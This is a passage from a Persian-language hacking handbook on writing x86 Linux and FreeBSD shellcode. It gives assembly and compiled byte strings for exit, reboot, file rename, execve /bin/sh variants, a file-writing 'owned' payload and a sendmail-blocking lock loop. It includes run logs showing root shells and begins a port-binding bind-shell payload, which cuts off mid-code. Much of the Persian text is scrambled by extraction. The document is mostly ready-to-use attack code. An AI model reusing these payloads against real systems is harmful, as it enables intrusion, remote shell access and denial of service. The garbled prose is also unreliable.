0xbffffad0: 0x00000002 0xbffffbc1 0xbffffbcc 0x00000000 
0xbffffae0: 0xbffffcad 0xbffffcce 0xbffffced 0xbffffd0f 
0xbffffaf0: 0xbffffd1b 0xbffffede 0xbffffefd 0xbfffff13 
0xbffffb00: 0xbfffff1e 0xbfffff2d 0xbfffff35 0xbfffff45 
0xbffffb10: 0xbfffff53 0xbfffff64 0xbfffff6f 0xbfffff80 
0xbffffb20: 0xbfffffa3 0xbfffffb6 0xbfffffc3 0x00000000 
0xbffffb30: 0x00000003 0x08048034 0x00000004 0x00000020 



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ١١٨٧    صفحه

0xbffffb40: 0x00000005 0x00000006 0x00000006 0x00001000 
0xbffffb50: 0x00000007 0x40000000 0x00000008 0x00000000 
0xbffffb60: 0x00000009 0x08048380 0x0000000b 0x00000000 
0xbffffb70: 0x0000000c 0x00000000 0x0000000d 0x00000000 
0xbffffb80: 0x0000000e 0x00000000 0x00000010 0x0080f9ff 
0xbffffb90: 0x0000000f 0xbffffbbc 0x00000000 0x00000000 
0xbffffba0: 0x00000000 0x00000000 0x00000000 0x00000000 
0xbffffbb0: 0x00000000 0x00000000 0x00000000 0x36383669 
0xbffffbc0: 0x6f2f2e00 0x66726576 0x00776f6c 0x41414141 
0xbffffbd0: 0x41414141 0x41414141 0x41414141 0x41414141 
0xbffffbe0: 0x41414141 0x41414141 0x41414141 0x41414141 
0xbffffbf0: 0x41414141 0x41414141 0x41414141 0x41414141 
0xbffffc00: 0x41414141 0x41414141 0x41414141 0x41414141 
0xbffffc10: 0x41414141 0x41414141 0x41414141 0x41414141 
0xbffffc20: 0x41414141 0x41414141 0x41414141 0x41414141 
0xbffffc30: 0x41414141 0x41414141 0x41414141 0x41414141 
0xbffffc40: 0x41414141 0x41414141 0x41414141 0x41414141 
0xbffffc50: 0x41414141 0x41414141 0x41414141 0x41414141 
0xbffffc60: 0x41414141 0x41414141 0x41414141 0x41414141 
0xbffffc70: 0x41414141 0x41414141 0x41414141 0x41414141 
0xbffffc80: 0x41414141 0x41414141 0x41414141 0x41414141 
0xbffffc90: 0x41414141 0x41414141 0x41414141 0x41414141 
0xbffffca0: 0x41414141 0x41414141 0x42424242 0x44575000 
0xbffffcb0: 0x6f682f3d 0x6e2f656d 0x736c6569 0x6f7a2f68 
0xbffffcc0: 0x722f656e 0x79646165 
(gdb) 

ا  ا  در م وانيم  می  اینج شا  یکدیگر  سر  پشت  راEIP و EBP ت ایيم  دههم ه  نم سپلویت  اینجاست  نکت د  اک ا  بای رار  ب  EIP در ادرس دادن ق
 آن ریزی سر باعث حافظه بافر در نظر مورد جای در گرفتن قرار با که ستنده دستوری  ( نکات اهآن شود طراحی (دستوری نماییهرا
ن  -برادرم ایه دی سی شود جعبه مثال گيرد می رارق حافظه در ما ایهshellcode  که است جایی مانه این می ا  ای  شروعی  نقطه  ج
ن  با ما مثال این در باشد تواند می طراحی قابل ریزی سر برای بافر مختلف نقاط البته بافراست کردن پر برای 97 شماره دی سی از  ای

   .نمود يمهخوا کار اه ثابت
  

  Registers از استفاده
 

ل  شرکت  ستر  اینت سخ  دیگر  و بيت  32 ایه  رجي ه هت را بيت  8 و بيت  16 آن ن وده  ي تاندارد  و نم رده  اس ان  در است  ک   توسعه  زم
shellcodeداشتن از اغلب اه رجيستر کوچکترین از استفاده ميدهف يدهخوا شما اه  NULLوگيری  ایتانه کد در اه بایت د  می  جل  نماین

ه  م منظور  !!! شود  می  گرفته نظر در موثر نویسی برنامه رایب حقيقی مقادیر برای حقيقی ایه رجيستر از استفاده مچنينه ه  این ا  ک  آی
دوارم . اید داده قرار فيل یک قفس در را موش یک حال به تا شما ه  امي ن  از رو منظورم  ک ده هف حرف  ای ه  منظورم  ) باشد  مي ه  این د  ک  چن
دازد  خطر  به را ای مهبرنا خط ميليون 32 افزار نرم یک امنيت تواند می راحتی مينه به اطلاعات بيت د  خواب  ( بين ه  بيایي ستر  ب  رجي
   .بيندازیم سریعی نگاه یک شد ندهخوا استفاده آینده در که اییه
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 ١١٨٨    صفحه

EAX, AX,AH ,AL  ستر ده Accumulator  ایه  رجي ن  شوند  می  نامي رای  اه  ای تيابی  ب ه  دس ورت  ب  و ,I/O, Arthemetics  پ
ستمی  ایه  فراخوانی  در اه رجيستر این از استفاده نحوه شما بخش این  ادامه در ماش شود می استفاده غيره و interrupt فراخوانی  سي

   گيرد می قرار استفاده مورد
  

EBX,BX,BH,BL ایه رجيستر  baseه  ایه نشانگر برای اهرجيستر این شوند ی ناميده رای  ای پای ه  ای حافظه  ایه  دسترسی  ب  ب
 مورد سيستم از شده فراخوانی آرگومان در اه نشانگر داری نگه برای اه ثابت این ار ما هک دید يدهخوا مقاله ادامه در شما رود می کار

الی  یک  شوند  می استفاده interrupt از برگشتی مقادیر داری نگه برای اه ثابت این اغلب گيرند می قرار استفاده ه  مث ن  در ک ورد  ای  م
ه  فایل مفسر سپس کنيد می باز سيستمی فراخوانی با را فایلی شما وقتی باشد میopen  سيستمی فراخوانی نگامه یه شود می دیده  می  ک
   شود داری نگهEBX  ثابت ورد استفاده مورد آن نمودن باز نگامه به فایلI/O  در تواند

  
ECX,CX.CH,Cl ه  که بينيد می ادامه در مثالی در ستنده معروف کانتر ایه رجيشتر به ه CL  از loop  یک  چگون  یک  صورت  ب

   کند می استفاده تزکان
  

EDX,DX,DH,DL  ه ستر  ب ده  Data  ایه  رجي رای  و شده  خوان تيابی  ب ه  دس ورت  ب  ایه  فرخوانی  و arthemetice و I/O پ
interrupts د  می شما کنيد اجرا را سيستمی فراخوانی یک يدهخوا می که نگامیه نمود استفاده ستر  کل  از تواني رای  اه  اینرجي اد  ب  ایج
   باشد می exit(0) syscall زمينه این در ساده مثال یک کنيد تفادهاس سيستم فراخوانی

 
mov al, 0x01 ; The syscall number for exit 
xor ebx, ebx ; EBX will now contain the value 0 
int 0x80 ; and activate ! 

  
 رههب اه داده داری نگه برای دسترس در ایه تررجيس کوچکتریت از که است مهم بسيار این کردم اشاره آن به مه قبل در که مانطوره

دن  بوجود  از امر این بگيرید وگيری  shellcode در NULL Bytes آم د  می  جل رای  کن ال  ب ا  اگر  مث د  از م ر  ک رای  زی د  ب  خروجی  ک
 : کنيم استفاده

 
BITS 32 
; exit(0) code 
mov eax, 0x01 ; The syscall number for exit 
xor ebx, ebx ; EBX will now contain the value 0 
int 0x80 ; and activate ! 

  
   کند خارج امان shellcode خروجی در  NULL Bytes صورت به بایت زیادی مقدار eax  رجيستر که شود می عث با
 

su-2.05a# s-proc -p exit 
char shellcode[] = 
"\xb8\x01\x00\x00\x00\x31\xdb\xcd\x80"; 

  
  نمایيم مشخص را اند شده ترجمه که را طولانی ایه رجيستر توانيم می ما ميباشدnasm  پکيج از بخشی که ndisasm از استفاده با
 

su-2.05a# ndisasm exit 
00000000 B80100 mov ax,0x1 
00000003 0000 add [bx+si],al 
00000005 31DB xor bx,bx 
00000007 CD80 int 0x80 

  
  

  یهد آدرس مشکلات
  
تفاده  حافظه  ایه آدرس برای ثابت ایهکد از توانيد نمی شما اهshellcode  موارد زا بسياری در د  اس ابر  کني ن  بن رای  ای د  اینکه  ب  بداني

   کنيد استفاده کوچک حقه این از شوند می جایگزین حافظه از قسمت کدام در شما نظر مورد اطلاعات
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jmp short         stuff 
code: 
pop                 esi 
<data> 
 
stuff: 
call                 code 
db                  'This is my string#' 

  
 که جایی در کنيم می پرش call code قسمت به stuff کد اغازین قسمت در jmp با ما که باشد می کدی بينيد می بالا در شما که چيزی
code آغازگر  pep esi حالا باشد می  esi ای رشته قسمت در  this is my string شود می حاضر . 

 
  

In the above sample [esi + 1] represents 'h' from the word 'This'. 
  
  

   NULL Bytes  مسئله
  

NULL که ستنده مشخصی ایه محدوده با ایه رشته اه بایت shellcode  اگر برند می بين از را shellcode اهآن در که ساختيد ای 
د هند راه نگرانی خود به shellcode از استفاده ز ا شد ایجاد اه بایت NULL این رميم  در سعی  و ي د  آن ت ا  کني ن  ب انی  وجود  ای ه  زم  ک
 دیدیم بالا مثال در که را چيزی آن الان داشت يدهخوا Runtime در را اهآن شما باشد نداشته Shellcode در بایت NUUL توانيد نمی
  کنيم مشخص امان رشته در را اه بایت مکان چگونه که بود این

 
jmp short stuff 
code: 
pop esi 
xor eax,eax ; doing this will make eax NULL 
mov byte [esi + 17],al ; put a null byte byte on [esi + 17] 
stuff: 
call code 
db 'This is my string#' 

  
  
دن  بوجود از و کردیم نابودRuntime در را This is my string  رشته و کردیم بایت  NULL جایگزین را # ما فوق مثال در  آن آم

دم هف من تميز و سالم نویسی کد نوع یک به رسيدت برای . نمودیم جلوگيری ه  مي ر هب ک ان ه رشته  است  ت دینگ  آغاز  در را ایت  اسمبلی  ک
ستند  ساز  کلمش اییهتن به اه بایت NULL فقط که نيست لطف از خالی نکته این ذکر البته. نمایيد اجرا ل  از اه  بایت  دیگر  ني ن  قبي  لای
  .شوند مشکلات باعث توانند می نيز ویژه ایه کارکتر یا جدید ایه
 
  

  ()syn() , reboot ایه مثال
  
  ! نکنيد اجرا سيستمی محصولات روی بر را اه فرمان این

  
Sync به تان دیسک ارده سيستم فایل حالت آوردن موجب  Sync ما ( نویسان ویروس توجه قابل) شود می سيستم فایل داخلی حالت با 
 نشده نوشته دیسک ارده سيستمی فایل روی بر که اطلاعاتی شدن گم از تا داده قرار فراخوانی نگامه در()reboot جلوی در را این باید
ال  ایه پردازش نوزه که علت این به زیرا شود اه داده شدن گم باعث تواند می کد این از استفاده نوزه البته نمایيم جلوگيری اند ل  فع  قب
 مسئله این از که ندارند لازم اهآن نمایيم اضافه منبع کد به را دیگری داده ما که نيست لازم دیگر لحظه این در اند نشده  نابود reboot از
  : است هدهمشا قابل زیر کد در تری واضح صورت به فوق مطالب بشوند خبر با کنيم می فعاليت قسمت کدام در ما که
 

BITS 32 
pop esi 
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xor eax, eax 
mov al,36 
int 0x80 
mov al,36 
int 0x80 
mov al, 88 
mov ebx, 0xfee1dead 
mov ecx, 672274793 
mov edx, 0x1234567 
int 0x80 

  
shellcode است شده يههت اسمبلی ایهکد این با  

  
Shellcode produced by this assembly code: 
[root@droopy doc]# nasm -o reboot reboot.S 
[root@droopy doc]# s-proc -p reboot 
char shellcode[] = 
"\x5e\x31\xc0\xb0\x24\xcd\x80\xb0\x24\xcd\x80\xb0\x58\xbb\xad" 
"\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80"; 

  
  ندارید را ن مقابل در()Syn  کردن اضافه هب نيازی شما که است ساده آنقدر زیر FreeBSD کد
 

BITS 32 
xor eax,eax 
mov dx,9998 
sub dx,9990 
mov al, 55 
int 0x80 

  
shellcode سيستم FreeBSD است شده درست زیر کد با   

  
char shellcode[] = 
"\x31\xc0\x66\xba\x0e\x27\x66\x81\xea\x06\x27\xb0\x37\xcd\x80"; 

  
 نماید استفاده اه آن از یکی از توانيد می که است دارا دوباره برپایی برای را متعددی ایه روش FreeBSD  کلی طور به
 

Rename() , linux 
  

  است زیر صورت به فراخوانی سيستم نام تغيير
  

int rename(const char *oldpath, const char *newpath); 
  
 مورد آدرس آوردن بدست برای داریم نياز فایل قدیم جدیدو از نشانگر دو به ما نیفراخوا این از آميز موفقيت استفاده برای تهج ره به

  کنيم استفاده اسمبلی در Lea  دستور از توانيم می نياز
 

BITS 32 
jmp short callit 
doit: 
pop esi 
xor eax, eax 
mov byte [esi + 9], al ; terminate arg 1 
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 ١١٩١    صفحه

mov byte [esi + 24], al ; terminate arg 2 
mov byte al, 38 ; the syscall rename = 83 
lea ebx, [esi] ; put the address of /etc/motd (esi) 
in ebx 
lea ecx, [esi + 10] ; put the address of /etc/ooops.txt 
(esi + 10) in ecx 
int 0x80 ; We have everything ready so lets 
call the kernel 
mov al, 0x01 ; prepare to exit() 
xor ebx, ebx ; clean up 
int 0x80 ; and exit ! 
callit: 
call doit 

  
  کند نمی فرقی مه بالا صورت به البته باشد زیر شکل به ميتواند  db خط که باشيد داشته توجه

 
db '/etc/motd#' 
db '/etc/ooops.txt#' 

  
shellcode آیند می در زیر صورت به آن کامپایل از بعد اسمبلی ایه کد این از شده يههت   

 
char shellcode[] = 
"\xeb\x18\x5e\x31\xc0\x88\x46\x09\x88\x46\x18\xb0\x26\x8d\x1e" 
"\x8d\x4e\x0a\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe3\xff\xff" 
"\xff\x2f\x65\x74\x63\x2f\x6d\x6f\x74\x64\x23\x2f\x65\x74\x63" 
"\x2f\x6f\x6f\x6f\x70\x73\x2e\x74\x78\x74\x23"; 

  
execeve numberIباشد نمی آرگومان  اين  

  
execve است شکل این به لينوکس در استفاده روش  آید می شمار به فایل یک اجرای برای سيستم فراخوانی یک که گفت توان می.   

 
int execve (const char *filename, char *const argv [], char *const 
envp[]); 

  
ن  در وع  ای ا  ن ه  م شانگر  3 ب از  ن ل  اسم  در یکی  داشت  يمهخوا  ني ان  در دیگری  و فای ه  دیگری  و آرگوم انی  در – محيطی  آرای ه  زم  ک

  کنيم می اجرا مه شکل این به را execve  ما کنيم استفاده آن جای به NULL یک از ستيمه مجبور کنيم پيدا را محيطی آرایه نتوانستيم
 

execve("pointer to string /bin/sh","pointer to /bin/sh","pointer to 
NULL"); 
BITS 32 
jmp short callit ; jmp trick as explained above 
doit: 
pop esi ; esi now represents the location of 
our string 
xor eax, eax ; make eax 0 
mov byte [esi + 7], al ; terminate /bin/sh 
lea ebx, [esi] ; get the adress of /bin/sh and put 
it in register ebx 
mov long [esi + 8], ebx ; put the value of ebx (the address 
of /bin/sh) in AAAA ([esi +8]) 
mov long [esi + 12], eax ; put NULL in BBBB (remember xor eax, 
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eax) 
mov byte al, 0x0b ; Execution time! we use syscall 0x0b 
which represents execve 
mov ebx, esi ; argument one... ratatata /bin/sh 
lea ecx, [esi + 8] ; argument two... ratatata our 
pointer to /bin/sh 
lea edx, [esi + 12] ; argument three... ratataa our 
pointer to NULL 
int 0x80 
callit: 
call doit ; part of the jmp trick to get the 
location of db 
db '/bin/sh#AAAABBBB' 

  
د هد قرار shellcode در را AAAABBBB#ایهکاراکتر حتما که نيست لازم کنيد توجه بال کد خرآ به ی  ي د  می  آن برداشتن  ول  توان
 يههت برای تواند می اسمبلی ایه کد این شود عمليات در شکست ثباع و برده بين از را حافظه shellcode که باشد داشته را نتيجه این

shellcode شود استفاده زیر  
  

char shellcode[] = 
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46" 
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1" 
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41" 
"\x42\x42\x42\x42"; 

  
  شوند می ثبت CPU  ایه رجيستر در syscall  آرگومان بالا مثال در
  

 (eax,ecx,edx etc). 
  
 سيستم به  stack به اهآن دادن له با BSD ایه سيستم رگومانآ در ستنده علاقهمند بسيار آن به لينوکس ایه سيستم که است روشی این

  : کنيد هجتو BSD در execve  مثال این به به بالا ومهمف ترهب درک برای خوب شوند می واگذار فراخوانی
 

BITS 32 
jmp short callit 
doit: 
pop esi 
xor eax, eax 
mov byte [esi + 7], al 
push eax 
push eax 
push esi 
mov al,59 
push eax 
int 0x80 
callit: 
call doit 
db '/bin/sh' 
And the result: 
su-2.05a# s-proc -p execve 
char shellcode[] = 
"\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b\x50\xcd" 
"\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 
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su-2.05a# s-proc -e execve 
Calling code ... 
# 

execve Number IIباشد می آرگومان  يک  
  
  بالا ماننده
  
 

int execve (const char *filename, char *const argv [], char *const 
envp[]); 

  
الا  مثال ماننده داریم نياز محيطی آرایه و آرگومان و مان فایل اسم برای نشانگری به ما بنابراین دا  عدم  صورت  در ب شانگر  کردن  پي  ن
  کنيد استفاده توانيد می ای برنامه ره برای را execve  که باشيد داشته بياد کرد استفاده NULL از توانيم می (محيط) آخری

 
 

BITS 32 
jmp short callit 
doit: 
; Part one: Manipulate the string 
defined after 'db' 
pop esi ; esi now represents our string 
xor eax, eax ; 
mov byte [esi + 7], al ; put null byte after /bin/sh and ths 
terminate the string 
mov byte [esi + 10], al ; ditto but then after -i 
; Part two: Prepare the arguments for 
our system call 
mov long [esi + 11], esi ; get address of /bin/sh and store it 
in AAAA 
lea ebx, [esi + 8] ; get adress of -i and store it in 
ebp 
mov long [esi + 15], ebx ; store the address in [esi + 15] -> 
BBBBB 
mov long [esi + 19], eax ; put NULL in CCCC 
; Part three: Prepare execution and 
execute 
mov byte al, 0x0b ; 0x0b is the execve system call 
mov ebx, esi ; ebx = argument 1 
lea ecx, [esi + 11] ; arguments pointer 
lea edx, [esi + 19] ; environment pointer 
int 0x80 
mov al, 0x01 
xor ebx, ebx 
int 0x80 
callit: 
call doit 
db '/bin/sh#-i#AAAABBBBCCCC' 
[root@droopy execve-2]# nasm -o execve execve.S 
[root@droopy execve-2]# s-proc -p execve 
char shellcode[] = 
"\xeb\x27\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x89\x76\x0b\x8d" 
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"\x5e\x08\x89\x5e\x0f\x89\x46\x13\xb0\x0b\x89\xf3\x8d\x4e\x0b" 
"\x8d\x56\x13\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xd4\xff\xff" 
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x2d\x69\x23\x41\x41\x41" 
"\x41\x42\x42\x42\x42\x43\x43\x43\x43"; 
[root@droopy execve-2]# s-proc -e execve 
Calling code ... 
sh-2.04# 

  
  

Execve Number IIIباشد می آرگومان دو  دارای  
  

  : کرد يمهخوا استفاده دستور این از بالا تعاریف طبق
  

int execve (const char *filename, char *const argv [], char *const 
envp[]); 

  
  : ما دفه و
 

int execve (AAAA,pointer to array AAAABBBBCCCC,DDDD); 
BITS 32 
jmp short callit 
doit: 
pop esi 
xor eax, eax 
mov byte [esi + 7], al ; terminate /bin/sh 
mov byte [esi + 10], al ; terminate -c 
mov byte [esi + 18], al ; terminate /bin/ls 
mov long [esi + 20], esi ; address of /bin/sh in AAAA 
lea ebx, [esi + 8] ; get address of -c 
mov long [esi + 24], ebx ; store address of -c in BBBB 
lea ebx, [esi + 11] ; get address of /bin/ls 
mov long [esi + 28], ebx ; store address of /bin/ls in CCCC 
mov long [esi + 32], eax ; put NULL in DDDD 
mov byte al, 0x0b ; prepare the execution, we use 
syscall 0x0b (execve) 
mov ebx, esi ; program 
lea ecx, [esi + 20] ; argument array (/bin/sh -c 
/bin/ls) 
lea edx, [esi + 32] ; NULL 
int 0x80 ; call the kernel to look at our 
stuff ;-) 
callit: 
call doit 
db '/bin/sh#-c#/bin/ls#AAAABBBBCCCCDDDD' 
[root@droopy execve-3]# s-proc -p execve 
char shellcode[] = 
"\xeb\x2a\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x88\x46\x12\x89" 
"\x76\x14\x8d\x5e\x08\x89\x5e\x18\x8d\x5e\x0b\x89\x5e\x1c\x89" 
"\x46\x20\xb0\x0b\x89\xf3\x8d\x4e\x14\x8d\x56\x20\xcd\x80\xe8" 
"\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x2d\x63\x23" 
"\x2f\x62\x69\x6e\x2f\x6c\x73\x23\x41\x41\x41\x41\x42\x42\x42" 
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"\x42\x43\x43\x43\x43\x44\x44\x44\x44"; 
[root@droopy execve-3]# s-proc -e execve 
Calling code ... 
execve execve.S 
[root@droopy execve-3]# 

  
open(), Write(), Close(), exit() LINUX  

 
BITS 32 
jmp short callit 
doit: 
pop esi 
xor eax, eax 
mov byte [esi + 14], al ; terminate /tmp/hacked.txt 
mov byte [esi + 29],0xa ; 0xa == newline 
mov byte [esi + 30], al ; terminate niels was here 
lea ebx, [esi + 15] ; get address 
mov long [esi + 31], ebx ; put the address of niels--here in 
xxxx 
mov al, 5 ; the syscall open() = 5 
lea ebx, [esi] ; argument #1 
mov cx, 1090 ; 1024 (append) + 64 (create if no 
exist) + 2 rw 
mov dx, 744q ; if we need to create, these are the 
permissions 
int 0x80 ; kernel int 
mov long ebx,eax ; get the descriptor 
mov al, 4 
mov ecx,[esi + 31] ; the location of our data 
mov dx, 15 ; the size of our data 
int 0x80 ; kernel interrupt 
mov al, 6 ; the close syscall = 6 
int 0x80 ; clozzzz 
mov al, 0x01 ; exit system call 
xor ebx, ebx ; clean up 
int 0x80 ; and bail out 
callit: 
call doit 
db '/tmp/owned.txt#' 
db 'niels was here #xxxx' 
Now this code will generate the following shellcode: 
sh-2.04$ ../../../process open shellcode 
Calling code ... 
bash-2.05$ cat shellcode 
char shellcode[] = 
"\xeb\x38\x5e\x31\xc0\x88\x46\x0e\xc6\x46\x1d\x0a\x88\x46\x1e" 
"\x8d\x5e\x0f\x89\x5e\x1f\xb0\x05\x8d\x1e\x66\xb9\x42\x04\x66" 
"\xba\xe4\x01\xcd\x80\x89\xc3\xb0\x04\x8b\x4e\x1f\x66\xba\x0f" 
"\x00\xcd\x80\xb0\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xc3" 
"\xff\xff\xff\x2f\x74\x6d\x70\x2f\x6f\x77\x6e\x65\x64\x2e\x74" 
"\x78\x74\x23\x6e\x69\x65\x6c\x73\x20\x77\x61\x73\x20\x68\x65" 
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"\x72\x65\x20\x23\x78\x78\x78\x78"; 
bash-2.05$ 

  
د  می دههمشا که مانطوره د  وجود  آن در اه  بایت   NULL کني ابر  دارن ن  بن ن  ای ل  shellcode ای تفاده  قاب د  نيست  اس ا  بيایي تفاده  ب  از اس

ndisasm آمدن بوجود علت به NULL ببریم پی اه بایت  
 

bash-2.04$ ndisasm open 
00000000 EB38 jmp short 0x3a 
00000002 5E pop si 
00000003 31C0 xor ax,ax 
00000005 88460E mov [bp+0xe],al 
00000008 C6461D0A mov byte [bp+0x1d],0xa 
0000000C 88461E mov [bp+0x1e],al 
0000000F 8D5E0F lea bx,[bp+0xf] 
00000012 895E1F mov [bp+0x1f],bx 
00000015 B005 mov al,0x5 
00000017 8D1E66B9 lea bx,[0xb966] 
0000001B 42 inc dx 
0000001C 0466 add al,0x66 
0000001E BAE401 mov dx,0x1e4 
00000021 CD80 int 0x80 
00000023 89C3 mov bx,ax 
00000025 B004 mov al,0x4 
00000027 8B4E1F mov cx,[bp+0x1f] 
0000002A 66BA0F00CD80 mov edx,0x80cd000f            <-- beh ! WoW ! 
00000030 B006 mov al,0x6 
00000032 CD80 int 0x80 
00000034 B001 mov al,0x1 
00000036 31DB xor bx,bx 
00000038 CD80 int 0x80 
0000003A E8C3FF call 0x0 
0000003D FF db 0xFF 
0000003E FF2F jmp far [bx] 
00000040 746D jz 0xaf 
00000042 702F jo 0x73 
00000044 6F outsw 
00000045 776E ja 0xb5 
00000047 65642E7478 cs jz 0xc4 
0000004C 7423 jz 0x71 
0000004E 6E outsb 
0000004F 69656C7320 imul sp,[di+0x6c],0x2073 
00000054 7761 ja 0xb7 
00000056 7320 jnc 0x78 
00000058 686572 push word 0x7265 
0000005B 652023 and [gs:bp+di],ah 
0000005E 7878 js 0xd8 
00000060 7878 js 0xda 

  
   است شده مسئله این آمدن بوجود باعث ایم کرده استفاده نوشتن برای ما که ستده اییه بایت تعداد مسئله ميدیدهف بحال تا که مانطوره
 

mov dx, 15 
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   : کنيم می حل فند تر این از استفاده با نيز را مشکل ینما ا

 
mov dx,9995 ; A trick to get 15 in dx without getting null bytes 
sub dx,9980 

  
ردیم  ذخيره را 9980و خارج آن از را  -dx 9995 در ما ؟ بود چه ما ترفند این خواب شعب  و ک ردیم  من ه  ک ن  ب دون  صورت  ای د  ب  تولي

NULL بایت  dx ایه  تکنيک  و اه  ترفند آمد دهخوا بدست کم کم اتان تجربه افزایش به توجه با برابر را15 اه ترفند نوع این. کردیم 
ه  است  پایين سطح زبان این العاده خارق قدرت و اه فند تر مينه خاطر به است بحث قابل اسمبلی زبان در ای پيچيده  کلا  ایه  کر ه ک
ستم  مغز به که افزاری سخت ایه ویروس یا اکسپلویت زمينه در که دستيه این خواستار اگر – دارند ای ویژه ی علاقه آن به مشکی  سي

   داشت يدهنخوا اسمبلی زبان گيری  کار به و گيری یاد جز چاره کنند می حمله MBR خصوص به و RAM و CPUای رایانه ی اه
 

char shellcode[] = 
"\xeb\x39\x5e\x31\xc0\x88\x46\x0e\x88\x46\x1e\x8d\x5e\x0f\x89" 
"\x5e\x1f\xb0\x05\x8d\x1e\x66\xb9\x42\x04\x66\xba\xe4\x01\xcd" 
"\x80\x89\xc3\xb0\x04\x8b\x4e\x1f\x66\xba\x0b\x27\x66\x81\xea" 
"\xfc\x26\xcd\x80\xb0\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8" 
"\xc2\xff\xff\xff\x2f\x74\x6d\x70\x2f\x6f\x77\x6e\x65\x64\x2e" 
"\x74\x78\x74\x23\x6e\x69\x65\x6c\x73\x20\x77\x61\x73\x20\x68" 
"\x65\x72\x65\x20\x23\x78\x78\x78\x78"; 

  
  
اید  است استفاده قابل اکنون مه shellcode  و است رفته بين از بایت NULL که بينيد می ن  ش ان  سوال  ای يش  برایت ده  پ ه  باشد  آم  در ک

د  بایتNULL  وجود از نشانه سورسی در اگر بخورید بر اه بایت NULL این به شما اه اکسپلویت سورس از بسياری د  دیدی ه  بداني  ک
ه  اییه کره اغلب سته خودش انواع دیگر از بالاتر بسيار اکسپلویت آن در خطا احتمال ن  در من  ک ه  ای ا  زمين تم  فعاليت  اه آن ب ر  داش  ب
شا  را نقيصه این سورسی در اگر پس باشند نقایص این از دور به ایشانهshellcode  که داشتند خاصی حساسيت مسئله این روی  دههم
 مشابه موارد از و نساخته راshellcode  آن از یا است نداشته را کافی ارتهم یا اکسپلویت آن نویسنده که باشيد واقف نکته این با کردید
سپلویتی  ره  مه م ایه  قسمت از shellcode  يههت و socket Programmign  قسمت دو است کرده استفاده ضعيفی شده ساخته ه  اک  ب
 روند می شمار

 
  

  بيشتر آشنايی برای مثال چند
  

Shellcode زشت sendmail این لينوکس shellcode در پذیری آسيب یک از sendmail برنامه این درست انجام از توانست می که 
   کند می استفاده کند جلوگيری

 
BITS 32 
jmp short callit 
doit: 
pop esi 
xor ebx,ebx ; Make sure the registers we use 
xor eax,eax ; are clean 
mov eax,0x2 ; 0x2 is fork(). This function returns 
int 0x80 ; A process ID to the parent and a 0 to the 
; child process. We can test on this and let 
test eax,eax ; the parent process exit. This is an important 
jnz exit ; test which can be crucial with forking bind 
; shellcode. (man fork) 
xor eax,eax 
mov [esi + 12],al ; Terminate /etc/aliases 
mov ecx,eax ; ecx = 0 
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mov ebx,esi ; The ebx register will contain the 
mov al,5 ; location of our data which is 'esi' 
int 0x80 ; we open() the file and safe the returned 
xor ebx,ebx ; file descriptor in ebx after cleaning this 
mov ebx,eax ; register with xor. 
mov cl,0x2 ; We want an exclusively lock 
mov al,143 ; flock() 
int 0x80 ; call kernel and make the lock a fact 
sub cl,0x3 ; Start a infinite loop to make sure 
l00p: ; that sendmail cannot access the file 
js l00p 
callit: 
call doit 
db '/etc/aliases' 
exit: ; Exit will get called in the parent process 
xor eax,eax ; This is not really needed I guess you can just 
mov al,1 ; let it crash to safe space ;-) 
int 0x80 ; Execute !! ;-)) 

  
  FreeBSD عامل  سيستمport binding  برای  shellcode يک

  
 در نيست  سخت  آن نوشتن واقعا لی و دارد خود در را زیادی مطالب کاملی بسيار صورت بهport Binding  برای shellcode  يههت

ه هت در کامل مثال چند نکات تمامی گرفتن نظر در با و فوق مطالب به وجهت با ادامه رد  را اه shellcode  ي ردم  آوری گ  داشته  توجه  ک
  دارد تمرین به نياز بيش از بيش مسئله این که باشيد

 
While port binding shellcode looks very complex, it isn't really that hard to write it. 
It very much like the above example, several system calls on a row from which some are 
using information that was returned from another (I introduced this in the above 
example). 
When writing a bit more complex code it can help if you first write it in c. In our case 
just ripped the c source of the port binding shellcode that Taeho Oh wrote for his 
shellcode 
document and made some minor changes to it. The assembly code generated from this c 
source is 
ofcourse hombrewn and works like a charm on FreeBSD. 

  
 افزار سخت به رساندن آسيب از تا آورید عمل به را زم لا ایه دقت اجرایشان و کامپایل از قبل و اسمبلی ایه کد نوشتن از قبل شداره
  کنيد جلوگيری بالا در شده اشاره ایه
 

#include<unistd.h> 
#include<sys/socket.h> 
#include<netinet/in.h> 
int soc,cli; 
struct sockaddr_in serv_addr; 
int main() 
{ 
if(fork()==0) 
{ 
serv_addr.sin_family=2; 
serv_addr.sin_addr.s_addr=0; 
serv_addr.sin_port=0xAAAA; 
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soc=socket(2,1,6); 
bind(soc,(struct sockaddr *)&serv_addr,0x10); 
listen(soc,1); 
cli=accept(soc,0,0); 
dup2(cli,0); 
dup2(cli,1); 
dup2(cli,2); 
execve("/bin/sh",0,0); 
} 
} 
The assembly code I generated from this C source: 
BITS 32 
jmp short callit 
doit: 
pop esi 
xor eax, eax 
mov byte [esi + 7], al ; Terminate the /bin/sh string 
mov al,2 ; The fork() system call 
int 0x80 ; We call the kernel to fork us. 
; 
; Next code: 
socket(2,1,6) 
push byte 0x06 ; The 3e argument 
push byte 0x01 ; The 2e argument 
push byte 0x02 ; The 1e argument 
mov al,97 ; The system call number 
push eax ; 
int 0x80 ; And call the kernel 
; 
; Next code: bind(soc,(struct sockaddr 
*)&serv_addr,0x10); 
mov edx,eax ; We store the file descriptor that was returned 
from socket() in edx 
